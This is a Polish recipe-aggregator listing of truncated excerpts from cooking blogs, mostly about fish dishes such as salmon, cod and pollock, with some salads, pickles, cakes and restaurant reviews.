wykorzystać na surówki lub do zup, a cienkie, delikatne i pierzaste listki kopru włoskiego – podobnie jak koper ogrodowy – do dekoracji i wykańczania potraw, szczególnie tych na bazie jaj i ryb. Koper włoski ma bardzo charakterystyczny smak – słodkawy, anyżkowo-lukrecjowy i świeży. Bulwa traci te aromaty po podgrzaniu – przy zapiekaniu, gotowaniu i grillowaniu fenkuł gubi lotne olejki odpowiadające za ten smak(...)stanie zjeść sama całą tą dużą porcję, na kolację albo i na deser. Jeśli chcecie się tymi delicjami podzielić, wykorzystajcie surówkę z kopru włoskiego do białych mięs lub do ryby. SKŁADNIKI 4 średniej wielkości porcje do obiadu 1 duży fenkuł (ok. 500g) 150g jabłka – twardego, soczystego 30g orzechów włoskich 2 łyżki oliwy extra virgin 2 łyżki octu jabłkowego 1 łyżka

Karo in the Kitchen
Puree z brukwi 108

zapiekanka clapshot .  Na Islandii brukiew znana jest od XIX wieku i wraz z ziemniakami stanowiła podstawowe warzywo powszechnie uprawiane w całym kraju. Puree z brukwi podaje się z rybami i mięsem lub dodaje się ją  do zup i potrawek. Brukiew można także upiec, lub zetrzeć i przygotować z niej placuszki. Jak widzicie polecam wypróbować to warzywo, ponieważ jest(...)ilością cukru, po czym brukiew ugnieść tak jak ziemniaki na jednolitą masę, w razie potrzeby dodać nieco masła i przypraw do smaku. Puree z brukwi podawać jako dodatek do ryb lub mięs. Smacznego

Codzienne Gotowanie
Sałatka z miętusa, belugi i jaja 115

Teraz rozszyfrujemy tytuł sałatki. Miętus czyli wędzona pyszna ryba, beluga to czarna soczewica a jajo wszyscy znają, tak oto powstała przepyszna sałatka podana w białej papryce. Zachęcam do skosztowania i pobrania przepisu. Sałatka z wędzonego miętusa i czarnej soczewicy. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Łosoś w sosie musztardowym 130

Łosoś pieczony z sosem musztardowym  to przepis na szybki i smaczny obiad. Moją rybę podalam z kaszą jaglaną  i białą kapustą . Składniki: 600 g filetu z łososia 200 ml śmietany 30% 2 łyżki musztardy dijon sok z 1/2 cytryny olej 1 łyżka posiekanej pietruszki miód sól, pieprz Wykonanie: Filet łososia podzielić na porcje. Skropić cytryną, posolić, popieprzyć, wstawić

magiczna kuchnia Kasi
Wigilijna rybna z łososiem 134

wlewam 700 ml wody, dodaję kurkumę, papryki słodką, wędzoną, ostrą, i gotuję około 20 minut aż warzywa będą miękkie. Na końcu wlewam mleczko kokosowe, dodaje sól, pieprz, wrzucam kawałki ryby i zagotowuje zupę. Potem wyłączam gaz i zostawiam na 10 minut w tym czasie ryba w zupie dojdzie. Podaję z natką pietruszki

wesoła kuchnia
Jak przygotować wigilijny stół 121

stronie lewej. Ostrza noży powinny być ułożone w kierunku talerza, nigdy na zewnątrz. Podczas kolacji wigilijnej, oprócz podstawowych sztućców, na stole powinny pojawić się również specjalne sztućce do ryby. Nóż do ryb nie służy do krojenia, ale do oddzielania skóry i ości od mięsa. Charakteryzuje się tępą krawędzią i jest bardziej spłaszczony od standardowych noży stołowych. . Nad talerzem, po jego

Kulinaria - potrawy z różnych stron świata
Szybka sałatka z komosą i tuńczykiem. Świetna do szkoły lub pracy 156

minut. Cebulę pokrój w cienkie pióra, ogórka i paprykę w kostkę. Natkę posiekaj. Warzywa wymieszaj z przestudzoną komosą i połową tuńczyka razem z olejem. Dopraw solą i pieprzem. Resztę ryby wyłóż na każdą z porcji. Tak przygotowaną sałatkę można przechowywać nawet przez kilka godzin, dlatego dobrze sprawdza się jako danie pudełkowe. Artykuł Szybka sałatka z komosą i tuńczykiem. Świetna

Kulinarna Polska
Wigilijna rybna z łososiem 112

wlewam 700 ml wody, dodaję kurkumę, papryki słodką, wędzoną, ostrą, i gotuję około 20 minut aż warzywa będą miękkie. Na końcu wlewam mleczko kokosowe, dodaje sól, pieprz, wrzucam kawałki ryby i zagotowuje zupę. Potem wyłączam gaz i zostawiam na 10 minut w tym czasie ryba w zupie dojdzie. Podaję z natką pietruszki

wesoła kuchnia
Sałatka z kiełbasą łososiową i awokado 149

wędzoną, pachnącą. Jak tylko ostygła wykorzystałam ją w sałatce, w połączeniu z awokado smakowała wybornie. Jeśli tylko macie możliwość zakupienia kiełbasy z łososia róbcie taką sałatkę lub użyjcie wędzonej ryby. Kiełbasa łososiowa w sałatce z awokado. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Kiszona kapusta – przepis 216

domową kiszoną kapustę. Już kilkukrotnie o niego prosiliście, więc… Jest Tak przygotowana kapusta jest o niebo lepsza od kupnej. Możecie ją podawać do drugiego dania np. chrupiącej ryby lub użyć do przygotowania świątecznych pierogów z kapustą i grzybami . Składniki: (Ilość można zwiększyć, bądź zmniejszyć. Dla ułatwienia podaję na 10 kg kapusty) 10 kg kapusty poszatkowanej 25 dag soli(...)dalszego kiszenia. Kapusta powinna być czymś przyciśnięta/obciążona. Ja używam kamieni dociskowych Kiedy kapusta będzie gotowa? Po około 2 tygodniach można ją podawać do drugiego dania np. chrupiącej ryby lub użyć do przygotowania świątecznych pierogów z kapustą i grzybami . Smacznego

Słodkie okruszki
Łosoś w śmietanowym sosie z suszonymi pomidorami / Creamy salmon with sun-dried tomatoes 226

Dzisiaj piątek więc musi być rybka! Generalnie warto jeść ryby nawet częściej, ale dzisiaj można chociaż podeprzeć się tradycją;) Dziś proponuję łatwego i szybkiego łososia w pysznym kremowym sosie śmietanowym z suszonymi pomidorami, szpinakiem i odrobiną parmezanu. Świetny pomysł na obiad w każdy dzień tygodnia! Jeżeli jesteś fanem łososia, polecam także z sosem z mango , w miodowej glazurze czy zupę

karmelowy
Bardzo czekoladowy tort urodzinowy 171

Tort czekoladowy z masą czekoladową Tort czekoladowy to urodzinowy klasyk. Według mnie najlepszy jest tradycyjny tort - z tradycyjnym biszkoptem czekoladowym oraz tradycyjną masą czekoladową z masła

Korniszonki
Pasta kanapkowa ze śledzia i jajka 152

jajka, puszka śledzi w oleju, duży ogórek kiszony, 4-5 łyżek posiekanego szczypiorku, pół małej cebuli, duża łyżka majonezu, pieprz Przygotowanie: Jajka gotujemy na twardo. Kroimy w średnią kostkę. Rybę odsączamy z oleju i rozdrabiamy. Ogórka i cebulę kroimy w małą kostkę. Dodajemy do jajek razem z rybą, majonezem, szczypiorkiem i szczyptą pieprzu. Mieszamy. Odstawiamy na min. 30 minut

Lena Gotuje
BURRITO Z PALUSZKAMI RYBNYMI 116

żywności – wzmacniaczy smaku, barwników i aromatów. Skład jest prosty i czytelny. Produkt spełnia globalne standardy MSC w zakresie zrównoważonego rybołówstwa, co powinno być ważnym czynnikiem przy wyborze ryb i owoców morza. Producenci Mówią jak jest – szczegółowy skład zajmuje pół opakowania, a na specjalnej, dedykowanej stronie www.frostafoodtracker.pl sami możemy wpisać kod produktu i dowiedzieć się skąd pochodzą użyte składniki. Jest

Ostra na Słodko
Menu na tydzień: 4 szybkie dania i jedno w stylu wolnym 91

Jeśli spodziewacie się gości, możecie śmiało podać ten makaron, bo prezentuje się okazale. W piątek planujemy coś bardziej w stylu slow cooking, czyli pierogi z ciasta drożdżowego z wędzoną rybą i nadzieniem warzywnym. Danie niecodzienne, bardzo sycące i pyszne. Całe menu wygląda tak: Poniedziałek: BUDDHA BOWL. MISKA BOSKICH SMAKÓW I ZDROWIA Do misy Buddy możesz wrzucić wszystko, byle były(...)tylko we Włoszech. Krewetki możecie też jeść bez makaronu – ze świeżą chrupiącą bagietką, maczając pieczywo w pysznym maślanym sosie. Piątek: PIECZONE PIEROGI Z PSTRĄGIEM Zupełnie niecodzienny przepis z wędzoną rybą, która w połączeniu z plastrami ziemniaków i cebuli tworzy rozpływający się w ustach farsz opakowany kruchym, drożdżowym ciastem. Pieczone pierogi z pstrągiem – będziecie zaskoczeni, jak wspaniale smakują.   Artykuł Menu

Niedzielny kucharz
Barszcz z kiszonych buraków – prosty przepis 141

przepadałam. Ale teraz go uwielbiam i przygotowuję nie tylko na święta. Idealny do uszek z grzybami , krokietów, pierożków lub od tak w kubku do picia np. do pysznej smażonej ryby. Przygotowanie barszczu z kiszonych buraków jest naprawdę proste. Pamiętajcie tylko, że ilość dodanych przypraw jest kwestią gustu. Pod koniec gotowania spróbujcie barszcz i doprawcie go według własnego gustu. Ja wolę(...)smakuje następnego dnia. Pamiętajmy, aby przed podaniem go podgrzać, ale nie zagotować. Barszcz podajemy z uszkami , krokietami, pierożkami lub od tak w kubku do picia np. do pysznej smażonej ryby. Smacznego   Kiszone buraki z zakwasem Jak przygotować? Przygotowujemy 2 kg buraków. Do czystego naczynia (u mnie duży słój) wkładamy obrane i pokrojone buraczki. Następnie zalewamy je przegotowaną i wystudzoną

Słodkie okruszki
Łosoś na parze z warzywami 146

przepis nadaje się zarówno na lekki obiad jak i na kolację. Zrobienie go zajmuje ok. 20 minut i to dlatego, że ryba potrzebuje czasu by się ugotować. Jest bardzo łatwy także z pewnością każdy jest w stanie go przyrządzić. Czego potrzebujemy? łosoś norweski - filet, mała sałata rzymska (kupuję w Biedronce pakowane po 2 szt.), mozarella sałatkowa - kulki (6-8 kulek(...)oliwkami", oliwa z oliwek, sok z 0,5 cytryny, sól, czosnek, pieprz cytrynowy Zaczynam od łososia ponieważ w trakcie jego gotowania na parze spokojnie zdążę przygotować resztę składników. Rybę solę, pieprzę oraz skrapiam sokiem z cytryny. Wkładam do parowaru, który ustawiam na 20 min. W tym czasie siekam sałatę. Do sałaty dodaję kulki mozarelli - każdą kroję

Przepis na Dzień Dobry
Ciasto czekoladowo-różane 156

Ciasto czekoladowe znane jest w wielu wariantach. Ten przepis to połączenie mocnego smaku czekolady z nutą róży. To prawda, ciasto jest dość ciężkie i wilgotne, ale

Korniszonki
Restaurant Week - Powidok - Restauracja autorska 115

zielony groszek / jabłko / wędzona maślanka / szczypiorek / wasabi Pięknie podana, aromatyczna i delikatna przystawka. Makrela króluje obecnie w jesiennym menu wielu restauracji, co bardzo mnie cieszy, bo jestem fanką tej ryby. Dodatek delikatnego słodkiego groszku podkręcony wasabi fantastycznie równoważy lekko tłustą rybę, a jabłko lekko przełamuje wszystko kwaskowatym smakiem. Naprawdę udane połączenie. Danie główne: 👉 Polik wieprzowy / demi glace / barszcz grzybowy / boczniak

Cooking Monster
"Smaczna kuchnia. Domowe wyroby" 157

niż te sklepowe i na pewno smaczniejsze. Można je doprawić pod siebie. Ta książka to zbiór takich przepisów. Zaczyna się od wędzonek i znajdziemy tutaj różnego rodzaju mięsa i ryby takie jak makrela, halibut, śledzie, pstrąg i inne. Kolejne są pasztety i smarowidła do kanapek gdzie znajdziemy przepisy na różne pasztety, pasty i terriny. Pieczenie na ciepło i zimno(...)wykorzystamy do zamarynowania mięs. Mamy tutaj marynaty do schabu, do drobiu, żeberek, steków, wołowiny czy kaczki.  "Smaczna kuchnia. Domowe wyroby" to książka pełna pysznych przepisów na domowe mięsa, ryby i wędliny. Dla każdego coś dobrego :-)  Każdy przepis opatrzony zdjęciem gotowego wyrobu, zdjęcia bardzo ładne i apetyczne. Przepisy proste, każdy spokojnie sobie z nimi poradzi. U mnie książka bardzo

kruche babeczki
Dorsz pod marchewka z piekarnika 110

wyłożona papierem do pieczenia, skrapiamy sokiem z cytryny , opcjonalnie solimy. Marchew trzemy na tarce na dużych oczkach, dodajemy do niej pastę z kurkumy, koncentrat pomidorowy, mieszamy i nakładamy na rybę. Wstawiamy do piekarnika nagrzanego na 200 stopni. Pieczemy około 25 minut. Podajemy z surówka :-) i frytkami z ziemniaków z piekarnika :-) Frytki : Kroimy ziemniaki 🥔. Wkładamy do miski. Wlewamy odrobinę oliwy(...)stopni i pieczemy 35 minut, pod koniec można załączyć termoobieg lub funkcję grillowania by były chrupiące. Ja wstawiam najpierw frytki na górna półkę, po 10 minutach dokładam rybę na półkę środkowa. W czasie gdy dorsz i frytki się pieka przygotowuje surówkaę z świeżych warzyw, dodaje prażone pestki i nasiona oraz olej tłoczny na zimno lniany, słonecznikowy itd. Smacznego

Szkrab Je Sam
Łosoś z porami i chili 132

chwili wlewamy wino (3 łyżki). Smażymy pora do momentu gdy będzie rumiany, a wino odparuje. Łososia smarujemy z każdej strony olejem i doprawiamy gruboziarnistą  solą oraz pieprzem. Rybę smażymy na niewielkiej ilości oleju rzepakowego (2 łyżki) przez ok.5 minut z każdej strony. Długość smażenia zależy od wielkości ryby. Łosoś musi być soczysty, trzeba uważać żeby go nie wysuszyć. Takiego

noteskulinarnyfiga
Filet z mintaja 204

polędwiczkę lub filet z mintaja smażony i duszony chwilę w kremowym, słodko kwaśnym sosie maślanym z mleczkiem kokosowym. Filet z mintaja polecam podawać z makaronem lub ryżem. Jeśli lubisz ryby, to zapraszam też po kilka innych sprawdzonych przepisów. Łosoś smażony lub  ryba po grecku  to jedne z popularniejszych dań rybnych

AniaGotuje.pl
Pasta kanapkowa z sera białego i suszonych pomidorów 139

kanapkowa z sera białego i suszonych pomidorów Sięgając po pasty kanapkowe z całą pewnością zapobiegniemy suchości naszych kanapek. Pasty czy też inaczej smarowidła na kanapki przygotować możemy z warzyw, ryb, sera, jajek. Wykorzystać możemy takie składniki na jakie w danym momencie mamy smak. Z warzyw do past idealnie nadadzą się bakłażan, cukinia, papryka czy pomidory. Jeśli sięgamy po ryby

mecooks
Szybka sałatka z komosą i tuńczykiem. Świetna do szkoły lub pracy 154

minut. Cebulę pokrój w cienkie pióra, ogórka i paprykę w kostkę. Natkę posiekaj. Warzywa wymieszaj z przestudzoną komosą i połową tuńczyka razem z olejem. Dopraw solą i pieprzem. Resztę ryby wyłóż na każdą z porcji. Tak przygotowaną sałatkę można przechowywać nawet przez kilka godzin, dlatego dobrze sprawdza się jako danie pudełkowe. Artykuł Szybka sałatka z komosą i tuńczykiem. Świetna

Kulinarna Polska
Nowe jesienne menu - Stekówka - steki i burgery 141

parapet. Zdecydowanie. No i ponownie - konsystencja idealna! 👉 Tatar z makreli - wędzona makrela w asyście zielonego ogórka i czerwonej cebuli otoczona kwaśną śmietaną Makrela to chyba jedna z ulubionych ryb Polaków, my z Dominikiem także za nią przepadamy. Jest tłusta i idealna, by posilić się nią, gdy trzeba walczyć z trudami dnia codziennego i niesprzyjającą pogodą, bo zawiera także szereg cennych(...)organizmu. W połączeniu z kwaśną śmietaną oraz chrupiącymi dodatkami w postaci cebulki i ogórka jest przyjemnie orzeźwiająca i lekka. Bardzo miła przystawka, która zasmakuje nie tylko fanom makreli, ale ryb ogółem. 😊 👉 Tarta cebulowa - delikatna tarta cebulowa oblana sosem na bazie maślaków Ta tarta jest dla mnie prawdziwym zaskoczeniem, gdyż wytrawne nadzienie zostało zapieczone na... kruchym słodkim spodzie. Słodka cebula, lekko

Cooking Monster
Knedle ze śliwkami na sposób mojej mamy 185

Knedle ze śliwkami Knedle ze śliwkami, najlepiej węgierkami, to smak mojego dzieciństwa. Te knedle zawsze „wychodziły”. Ciasto zawsze było delikatne, miękkie i nie przytłaczało smaku śliwek

Korniszonki
Sałatka ze smażonym serem 101

się podczas przygotowania. Moi ulubieńcy czyli pasty przyprawowe. Na zdjęciu widzicie dwie z nich – łagodną mild curry i średnio pikantną tikka masala. Używałam ich do marynowania mięsa lub ryb, dodatek do sosu (łączę je z sosem pomidorowym lub przygotowuję sos na bazie mleczka kokosowego), idealnie sprawdzają się jako marynata do grilla. Zobaczycie na blogu jeszcze wiele potraw z wykorzystaniem(...)swojej potrawy dodając całą lub jedynie małą cześć papryczki chilli. Kolejnym krokiem jest dodanie na patelnię pasty przyprawowej i odrobiny wody. To czas na dorzucenie dodatków – warzyw, kurczaka, ryby. To od Ciebie zależy z czym zrobisz ten posiłek. Ostatnim krokiem jest dodanie ostatniej 3 saszetki i sosu pomidorowego. Polecam ten zestaw w połączeniu z kalafiorem – przepyszne Ostatnią nowością

nietylkopasta.pl
Czwartek: Polędwiczka adobo 122

Adobo to niesamowicie aromatyczna i wyrazista przyprawa zrobiona na bazie czosnku, oregano, pieprzu, papryki, soli/sosu sojowego i oliwy. Świetnie sprawdza się jako marynata i glazura do wieprzowiny, kurczaka i ryb. Czas przygotowania : 1,4 godziny w tym godzina marynowania Czas pieczenia: 30 minut Poziom trudności : Całkiem łatwe Liczba porcji : 2 Od Filipin, przez Hiszpanię, Portugalię, Meksyk, po Portoryko – wszędzie(...)postać pasty, albo sosu, być paląca jak ogień albo łagodna. Np. na Filipinach jest kilkanaście różnych odmian adobo. Przyprawą można traktować wieprzowinę, doskonale czuje się w niej kurczak oraz ryba. Sposoby przyrządzania mięsa też są różne: można upiec w całości, potem pokroić i podsmażyć na złoto. Można pokrojone włożyć do marynaty i potem usmażyć plastry. My proponujemy Wam dzisiaj wersję

Niedzielny kucharz
Pomidory kiszone w jogurcie z koperkiem, dymką i czosnkiem 162

Kiszone pomidory - pomidory, jogurt, koperek, cebulka i czosnek oraz ostra papryka! Pomidory kiszone w jogurcie to moje internetowe odkrycie. Szukając informacji o kiszonkach natknęłam się na

Korniszonki
Co na śniadanie? Pomysły na smaczne rozpoczęcie dnia 314

Dobrze zrobiony jest gęsty, aksamitny i nie rozwarstwia się. Ja przygotowuję go w blenderze. Wychodzi go sporo, więc można użyć go także do obiadu (świetnie komponuje się ze stekiem, rybą i warzywami np. polane nim szparagi to klasyka). Sos holenderski Składniki: 4 żółtka (o temperaturze pokojowej – ważne!), 100 g masła min. 82%, 1,5 łyżki soku z cytryny, sól(...)bułka, mufina angielska, żytni chleb lub tost), wędzony łosoś, jajko w koszulce, sos holenderski Łosoś wędzony też świetnie wkomponowuje się w śniadaniowe klimaty. Do miękkich składników (takich jak wędzona ryba, czy awokado) pieczywo warto stostować – ja używam mojego tostera Amica TDT 1012 – to prosty, niedrogi model na każdą kieszeń. Niezastąpiony do grzanek na szybko. Tosty, łosoś, jajko

Poezja smaku
Galaretka winogronowa 162

Słoik winogronowej galaretki gotowy na zimę Winogrona to owoce, które można spożywać na wiele sposobów. Oczywiście pyszne są na surowo, można z nich zrobić wino lub

Korniszonki
Szarlotka z pianką i kruszonką 254

Szarlotka z pianką i kruszonką Ciasta z jabłkami można piec praktycznie przez cały rok, ale jesień to czas, kiedy wśród wypieków naprawdę królują szarlotki i jabłeczniki

Korniszonki
Ryż z czerwoną fasolą 120

Ryż z czerwoną fasolą jest na Jamajce niezwykle popularny. Ryż z fasolą podawany jest jako dodatek do mies i ryb, najlepiej jednak smakuje z kurczakiem jerk. Myślę, że przypadnie Wam do gustu. Tak przygotowany ryż jest niezwykle smaczny i stanowi ciekawe urozmaicenie. Z pewnością będzie pasował do większości potraw, jednak szczególnie polecam go do kurczaka w marynacie z limonki(...)chwilę - do czasu aż ryż będzie miękki, a płyn zostanie wchłonięty.  Zestawić z ognia i zostawić pod przykryciem na jakieś 5 minut. Podawać jako dodatek do mięs lub ryb. Smacznego

Codzienne Gotowanie
Domowa kapusta kiszona w słoikach 162

Kapusta kiszona, jak wszystkie kiszonki, to naturalne źródło witamin, które zapewnią nam odporność i dobre samopoczucie w zimowych miesiącach. Jak się okazuje, przygotowanie domowej kiszonej kapusty

Korniszonki
Chrupiące stripsy z kurczaka jak z KFC 451

Chrupiące stripsy z udek kurczaka Chrupiące kawałki kurczaka w złotej panierce to ulubiona przekąska dużych i małych smakoszy. Można zamawiać kubełki na wynos, ale pyszne stripsy

Korniszonki
Smoothie z mango i fig 180

Smoothie z mango i fig to bardzo prosty i pyszny koktajl, który może zastąpić Ci codzienna owsiankę czy kanapkę z serem. Różnorodne śniadania spowodują, że chętniej

Kulinarnyblog.pl - wiesz jak gotować!
Solony koperek na zimę 143

Solony koperek w słoiku Solony koperek w słoiku jest idealnym składnikiem na zupę koperkową lub sos. Oczywiście można kupić taki koperek w sklepie jednak wystarczy dosłownie

Korniszonki
Jabłecznik z Podkarpacia 211

Tradycyjny jabłecznik Ten przepis na tradycyjną szarlotkę z okolic Dukli znalazłam z folderze z przepisami z Beskidu Dukielskiego i lekko go zmodyfikowałam. Ciasto jest pyszne i

Korniszonki
Najlepszy do kiszenia – garnek hermetyczny z kamionki 154

naprawdę Wam polecam. Smak po prostu wspaniały. Cały proces kiszenia jest niezwykle prosty, a później można cieszyć się pysznym dodatkiem do obiadu. Czy wy też nie wyobrażacie sobie smażonej ryby bez kiszonej kapusty? U nas to obowiązkowy dodatek. Mój mąż nie zje ryby bez kapusty Przepisem na kiszoną kapustę podzielę się z Wami już niedługo. Do garnka zamówiłam również kamienie

Słodkie okruszki
Domowy ocet jabłkowy z obierek i ogryzków. Nie wyrzucaj - wykorzystaj! 230

Domowy ocet jabłkowy ze skórek Do przygotowania domowego octu owocowego można użyć gorszych jabłek lub gruszek, które nie nadają się do jedzenia, przetworów lub są uszkodzone

Korniszonki
Zgrzewarki próżniowe - do czego się przydają 131

Wszyscy doskonale wiemy, że pakowanie próżniowe przedłuża nawet kilkukrotnie trwałość produktów żywnościowych poczynając od mięsa i jego przetworów, poprzez ryby, owoce i warzywa, sery, kawy, przeprawy, na pieczywie i herbatnikach kończąc. Pozwala również dłużej zachować ich walory smakowe i wartości odżywcze, w tym niezbędne dla organizmu mikro- i makroelementy oraz zapobiega uwalnianiu aromatów. Pisałam już o tym na blogu(...)przygotowywania posiłków zgodnie z metodą sous vide i sezonowania wołowiny na steki. Dzięki tym rozwiązaniom nie tylko oszczędzamy pieniądze, kupując zamiast gotowych półproduktów kulinarnych, jedynie nieprzetworzoną żywność (mięsa, ryby i owoce morza, warzywa i owoce). Możemy także przygotować odpowiedniej wielkości porcje i uniknąć marnotrawienia jedzenia. Zgrzewarki próżniowe - do czego się przydają Przyrządzanie potraw metodą sous vide (co w dosłownym tłumaczeniu

Cztery Fajery
Kurczak w marynacie teriyaki 144

marynacie teriyaki może być podawany z ryżem, makaronem ryżowym lub z warzywami. Można też, zamiast w marynacie,  przygotować kurczaka w sosie teriyaki. Marynata teriyaki pasuje do krewetek, ryb i wieprzowiny, zwłaszcza do żeberek i karkówki pieczonej na grillu. Wyśmienita jest też wołowina teriyaki. Na blogu znajdziecie uproszczony przepis na marynata teriyaki  - do drobiu, mięsa i ryb , dziś jednak

Cztery Fajery
Pasta z wędzonego pstrąga 149

kanapki. Pasta z wędzonego pstrąga to proste i pyszne smarowidło na kanapki, które przygotowuje się dosłownie w kilka chwil. Polecam! To świetny sposób na wykorzystanie większej ilości wędzonej ryby!     Składniki: ok. 300 g wędzonego pstrąga 150 g serka naturalnego (typu kanapkowy) 2 łyżki posiekanego świeżego koperku sól, Czytaj dalej... Artykuł Pasta z wędzonego pstrąga pochodzi z serwisu Pasja

Pasja Smaku
Sok z jeżyn 176

Domowy sok z jeżyn Jeżyny to cudowne, czarne owoc, które świetnie smakują jedzone prosto z krzaka, ale są także idealnym składnikiem do przygotowania dżemu, soku lub

Korniszonki
Murzynek, czyli czekoladowy klasyk. Oryginalny przepis z lat 80. 174

Murzynek, polska konkurencja dla amerykańskiego brownie Murzynek to ciasto czekoladowe, które gościło na polskich stołach zanim pojawiło się amerykańskie brownie. Murzynek może z powodzeniem konkurować z

Korniszonki
La Boqueria 59

Barcelonie i miejsce, które koniecznie trzeba odwiedzić. Położony przy głównej ulicy La Rambla jest trudny do ominięcia. Codziennie kusi tłumy ludzi świeżymi owocami (również tymi z morza), warzywami, rybami oraz mięsem. Już przy wejściu barwy i zapachy otaczają z każdej strony. Przy stoiskach z rybami i owocami morza […] Artykuł La Boqueria pochodzi z serwisu Pink Envelope

Pink Envelope
Bacalhau – dorsz po portugalsku 86

Bacalhau to dorsz, zasolony i wysuszony na słońcu, który jest najbardziej popularną rybą w Portugalii. Jego specyficzny zapach uderzył nas, kiedy poszliśmy pierwszy raz na zakupy do pobliskiego marketu. Ogromne płaty piętrzą się na małym stoisku, ryba w sumie wygląda na mrożoną, przynajmniej ja miałam takie pierwsze skojarzenie. Od razu mnie zainteresowała aromatycznym zapachem. Bacalhau na […] Artykuł Bacalhau

Pink Envelope
Dżem z jeżyn ze skórką cytrynową i goździkami 133

Dżem z jeżyn. Sprawdzony przepis na dżem jeżynowy Dżem z jeżyn to smak dojrzałego lata zamknięty w słoiku. Ten słodki przysmak wzbogacony smakiem skórki cytrynowej i

Korniszonki
Pieczone polędwiczki z dorsza w suszonych pomidorach 156

Zapraszam na szybki obiad :) Ryba w suszonych pomidorach :) Czytaj więcej

Ana Mari's world
Sos z kiszonych ogórków + film 123

Lekko kwaskowaty jak zupa ogórkowa, błyskawiczny w wykonaniu – sos z kiszonych ogórków, idealnie smakuje w towarzystwie mięsa czy ryb, świetnie komponuje się również z potrawami z ziemniaków. W moim domu podaję go do paluszków rybnych, smakuje wybornie.     składniki na 4 porcje 3 duże ogórki kiszone 500 ml bulionu ( może być z kostki ) 2 łyżki mąki pszennej(...)wszystko dokładnie mieszamy, doprowadzamy do wrzenia i zdejmujemy z ognia. Opłukany szczypiorek drobno siekamy a następnie łączymy go z gorącym sosem. Gotowy sos podajemy na gorąco z mięsem, rybą czy potrawami z ziemniaków.     Artykuł Sos z kiszonych ogórków + film pochodzi z serwisu Smakowite Dania

Smakowite Dania
Zdrowe grillowanie 132

Zdrowe grillowanie * Grilluj zawsze na tackach, aby ograniczyć skapywanie tłuszczu na brykiet lub węgiel. * Wybieraj na ruszt chude mięso i chude ryby (np. pierś z indyka, kurczak, dorsz, pstrąg itd.) * Zawsze do różnego rodzaju białka dodawaj dużą porcję warzyw. * Pamiętaj o piciu wody - w szczególności, gdy grillowaniu towarzyszą upały. * Uważaj na gotowe marynaty - mogą zawierać duże ilości konserwantów i sztucznych(...)barwników. * Sosy do mięs czy ryb zrób samodzielnie na bazie jogurtu naturalnego. * Spróbuj ograniczyć alkohol i nie pij słodkich, gazowanych napojów. * Używaj ziół, aby zapewnić doskonały smak i aromat grillowanych potraw np. oregano, tymianek, cząber czy zioła prowansalskie. Mając na uwadze wszystkie zasady zdrowego grillowania, możemy bez obaw zasiąść do stołu i cieszyć się smakiem grillowanych potraw. Będąc w temacie

MintTaste
kotlety rybne z jajkiem na twardo, brokułem-pyszne 132

przepis na świetne kotlety rybne, pokochają je zarówno duzi jak i mali :) idealne na obiad, z dodatkiem jajka na twardo, brokuła :) Polecam gorąco :) SKŁADNIKI -500 g fileta z ryby np mintaj (waga po rozmrożeniu) -1 mała cebula  -100 g brokuła  -2 ugotowane jajka na twardo  -1 jajko  -1 kajzerka  -1 ząbek czosnku  -pieprz ziołowy(...)około pół łyżeczki) -sól  do smaku  -słodka papryka (około pół łyżeczki) -mąka około 4 łyżki -bułka karta do  panierowania  Rozmrożoną rybę mielimy lub rozdrabniamy w malakserze Dodajemy do niej drobniutko pokrojonego brokuła. Następnie dodajemy starte na tarce jarzynowej jajka na twardo,przyprawy, zmiażdżony czosnek, startą cebulkę, zmoczoną w wodzie i dokładnie odciśniętą kajzerkę i jajko

moje pyszne łatwe i sprawdzone przepisy krok po kroku
Kokosowa granita. Azjatycki deser idealny nie tylko dla wegetarian 133

Kokosowa granita, czyli domowe lody kokosowe Granita z mleka kokosowego to cudowna alternatywa dla tradycyjnych lodów. Z dodatkiem odrobimy soku z cytryny lub limonki, podana z

Korniszonki
Fish cakes 98

dzisiejszym wpisie przedstawię Wam przepis na placuszki z wędzonej ryby w migdałowej panierce. Przepis powstał zupełnie przypadkiem, kiedy nie miałam pomysłu na dalsze wykorzystanie wędzonej rybki, która spokojnie spoczywała w „czeluściach” mojej lodówki. Od dwóch dni głowiłam się, co mogę zrobić z wędzonej ryby i w końcu wymyśliłam te oto placuszki. 😉 Fish cakes... Tryb czytania Artykuł Fish cakes

PysiaGotuje.pl
Szaszłyki z łososia z mango i sosem ziołowym. Przepis krok po kroku. 169

obierz ze skórki, pokrój w kostkę razem z papryką. Cukinie pokrój w krążki.   Łososia pokrój w kostkę takiej samej wielkości jak mango. Zamarynuj rybę w sosie sojowym, oliwie z oliwek, przyprawie curry, soku z cytryny oraz soli i pieprzu. Odstaw na kilkanaście minut aby mięso się zamarynowało

kuron.com.pl
Veles e Vents 102

dzięki którym siedząc można kontemplować i doceniać piękno przyrody. Wracając do La Marítimy, menu nie jest skomplikowane, mamy cieszące oko przystawki sporo rodzajów paelli, kilka dań mięsnych, codziennie świeże ryby i owoce morza co jest ciekawe i dzięki temu poznaje nowe gatunki ryb. Desery, oczywiście też mamy. Zespół składa się z chefa Fernando, sous chef i dwóch pomocach kuchennych oraz

Gotuj po hiszpańsku
Mintaj i pieczarki na pure z manioku 89

spontanicznie urodziło się danie pyszne i pożywne, ale lekkie i odżywcze. Maniok już sporo czasu gości w mojej kuchni, warto go zajadać, do zajadania ryb chyba nikogo zaganiać nie trzeba a pieczarki znalazły się o właściwym czasie, we właściwym miejscu. Danie smakuje wybornie. Mintaj i pieczarki na pure z manioku. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Protokół wyjścia - nowe zasady wychodzenia z diety dr Dąbrowskiej 163

wędzonych Zadbanie o różnorodność posiłków Pamiętanie, że kaloria kalorii nie jest równa Jedzenie produktów, które nie zawierają glutenu Odpowiednie komponowanie posiłków, do każdego trzeba dodawać warzywa. Unikanie łączenia mięsa, ryb i jaj z kaszą. Podawanie owoców osobno Stosowanie naturalnych przypraw oraz świeżych i suszonych ziół Cztery fazy wyjścia Faza startowa Jej celem jest usprawnienie procesu trawienia, tak aby produkty, które(...)niezbędne do prawidłowego funkcjonowania naszego organizmu. Trzeba pamiętać, że mają to być produkty o niskiej zawartości węglowodanów. Podstawą naszego żywienia dalej pozostają produkty z fazy pierwszej, natomiast wprowadzane są ryby, ekologiczne podroby, rośliny strączkowe i klarowane masło ekologiczne. W ciągu 8-12 powinniśmy zjadać 3-4 posiłki. Faza trzecia 1800 kcal lub zgodnie z  zapotrzebowaniem. Ilość przyswajalnych węglowodanów netto

Kulinarne przygody Gatity
Szarpane kotlety rybne 360

